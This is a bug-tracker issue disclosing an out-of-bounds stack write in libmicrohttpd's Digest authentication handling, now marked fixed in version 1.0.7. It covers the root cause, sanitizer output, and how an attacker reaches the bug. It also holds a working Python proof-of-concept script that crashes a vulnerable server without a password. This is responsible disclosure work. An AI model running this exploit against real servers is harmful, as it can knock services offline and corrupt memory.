View Issue Details
| ID | Project | Category | View Status | Date Submitted | Last Update |
|---|---|---|---|---|---|
| 0011686 | libmicrohttpd | other | public | 2026-07-27 12:32 | 2026-07-28 23:42 |
| Reporter | aramosf | Assigned To | Christian Grothoff | ||
| Priority | high | Severity | major | Reproducibility | always |
| Status | closed | Resolution | open | ||
| Product Version | Git master | ||||
| Target Version | 1.0.7 | Fixed in Version | 1.0.7 | ||
| Summary | 0011686: digestauth.c: out-of-bounds stack write decoding the Digest "response" | ||||
| Description | Severity: Medium-High — 32-byte stack out-of-bounds write, content fully attacker-chosen; pre-password (only a valid username is required) Class: CWE-787 (Out-of-bounds Write), CWE-242 (Use of Inherently Dangerous Function — a decoding primitive with no output-size argument) Status: reproduced under AddressSanitizer; on clang -O0/-O1 the write reaches the stack canary and the process aborts. Patch supplied and verified (unpatched dies under ASan, patched survives). SUMMARY ------- MHD_hex_to_bin() takes NO output-size parameter and writes ceil(len/2) bytes before validating anything. The Digest admission bound for the client's "response" is sized for a *quoted* value, but an unquoted value is passed through verbatim. With a client-chosen algorithm=SHA-256, a 128-hex-char unquoted response= writes 64 bytes into uint8_t hash1_bin[MAX_DIGEST] (32). digestauth.c:167 already defines MAX_AUTH_RESPONSE_LENGTH (== MAX_DIGEST * 2), the correct bound — and it is never referenced anywhere in the tree. ROOT CAUSE ---------- * bound: digestauth.c:2721 else if (digest_size * 4 < params->response.value.len) This is sized for a quoted value (backslash escaping can double it). * call: digestauth.c:2960 if (digest_size != MHD_hex_to_bin (unquoted.str, unquoted.len, hash1_bin)) * buffer: digestauth.c:2557 uint8_t hash1_bin[MAX_DIGEST]; (32) * sink: mhd_str.c:1709 MHD_hex_to_bin() has no output-size parameter gen_auth.c:552 only sets quoted = true when a backslash is actually present, and get_unquoted_param() returns the raw token otherwise, so the unquoted length is up to 4x the correct bound. For SHA-256 that is 64 bytes written into 32. VERIFIED -------- ERROR: AddressSanitizer: stack-buffer-overflow WRITE of size 1 #0 MHD_hex_to_bin mhd_str.c:1739 #1 digest_auth_check_all_inner digestauth.c:2960 [256, 288) 'hash1_bin' (line 2557) <== overflows this variable [320, 352) 'hash2_bin' (line 2558) Measured behaviour by build: * clang -O0 / -O1: the write reaches the stack canary and the process aborts with "*** stack smashing detected ***". A single byte of overflow is enough — -fstack-protector-strong places the array directly below the canary (measured: hexlen=66 -> 33 bytes -> 1 byte over -> abort). * gcc (all -O) and clang -O2: the 32 bytes land inside the adjacent hash2_bin and there is NO detection — silent undefined behaviour that corrupts H(A2) with attacker-chosen data. * MinGW / Win64 behaves like Linux gcc. For severity triage: I did NOT achieve control-flow hijack. The overflow is fixed at 32 bytes (capped by digest_size * 4), and with the canary disabled the array is no longer adjacent to the return address (nearest measured distance 248 bytes). REACHABILITY ------------ The write at :2960 happens AFTER nonce validation, and MHD's nonce is bound to the algorithm, so the attacker needs a nonce issued for the algorithm claimed: * app offering MHD_DIGEST_AUTH_MULT_ALGO3_ANY_NON_SESSION (the shipped example) -> challenged with MD5, digest_size * 4 == 64 hex chars -> 32 bytes into 32, an exact fit, NO overflow; * app allowing SHA-256 / SHA-512-256 -> matching nonce is issued and the overflow fires. I.e. the more security-conscious configuration is the exposed one. Version note: tested against 1.0.6 only. | ||||
| Steps To Reproduce | REPRODUCER ---------- Fetch the 401 challenge, then replay its nonce with an oversized UNQUOTED response (gen_auth.c only sets quoted = true when a backslash is present): Authorization: Digest username="<valid user>", realm="<from challenge>", nonce="<from challenge>", uri="/", qop=auth, nc=00000001, cnonce="x", algorithm=SHA-256, response=414141…41 (128 hex chars, UNQUOTED) Requires a username the application accepts and a nonce (free from the 401 challenge), but NOT the password: the write happens at digestauth.c:2960, BEFORE the response is compared. #!/usr/bin/env python3 """libmicrohttpd 1.0.6 - #4 OOB stack write in the Digest response decode. Needs an accepted username (not the password) and an app allowing SHA-256. usage: poc4_digest_oob.py <host> <port> [username]""" import socket, sys, re h, p = sys.argv[1], int(sys.argv[2]) user = (sys.argv[3] if len(sys.argv) > 3 else "alice").encode() def talk(b): s = socket.create_connection((h, p), 5); s.settimeout(5); s.sendall(b) d = b"" try: while True: c = s.recv(65536) if not c: break d += c except Exception: pass s.close(); return d c = talk(b"GET /secret HTTP/1.1\r\nHost: v\r\nConnection: close\r\n\r\n") m = re.search(rb"WWW-Authenticate:\s*Digest\s*(.*)", c, re.I) if not m: sys.exit("no Digest challenge -- is digest auth enabled?") q = dict(re.findall(rb'(\w+)\s*=\s*"([^"]*)"', m.group(1))) print("challenge realm=%r nonce=%r" % (q.get(b"realm"), q.get(b"nonce"))) # response= is left UNQUOTED: gen_auth.c only sets quoted=true on a backslash r = talk(b"GET /secret HTTP/1.1\r\nHost: v\r\nAuthorization: Digest " b'username="' + user + b'", realm="' + q.get(b"realm", b"") + b'", nonce="' + q.get(b"nonce", b"") + b'", uri="/secret", ' b'qop=auth, nc=00000001, cnonce="0123456789abcdef", ' b"algorithm=SHA-256, response=" + b"41" * 64 + b"\r\nConnection: close\r\n\r\n") print("reply:", r[:80] or b"(closed)") try: socket.create_connection((h, p), 3).close(); print("server: STILL UP") except Exception: print("server: DOWN") | ||||
| Tags | No tags attached. | ||||
| Date Modified | Username | Field | Change |
|---|---|---|---|
| 2026-07-27 12:32 | aramosf | New Issue | |
| 2026-07-27 18:22 | Christian Grothoff | Assigned To | => Christian Grothoff |
| 2026-07-27 18:22 | Christian Grothoff | Status | new => resolved |
| 2026-07-27 18:22 | Christian Grothoff | Product Version | => Git master |
| 2026-07-27 18:22 | Christian Grothoff | Fixed in Version | => 1.0.7 |
| 2026-07-27 18:22 | Christian Grothoff | Target Version | => 1.0.7 |
| 2026-07-28 23:41 | Christian Grothoff | View Status | private => public |
| 2026-07-28 23:42 | Christian Grothoff | Status | resolved => closed |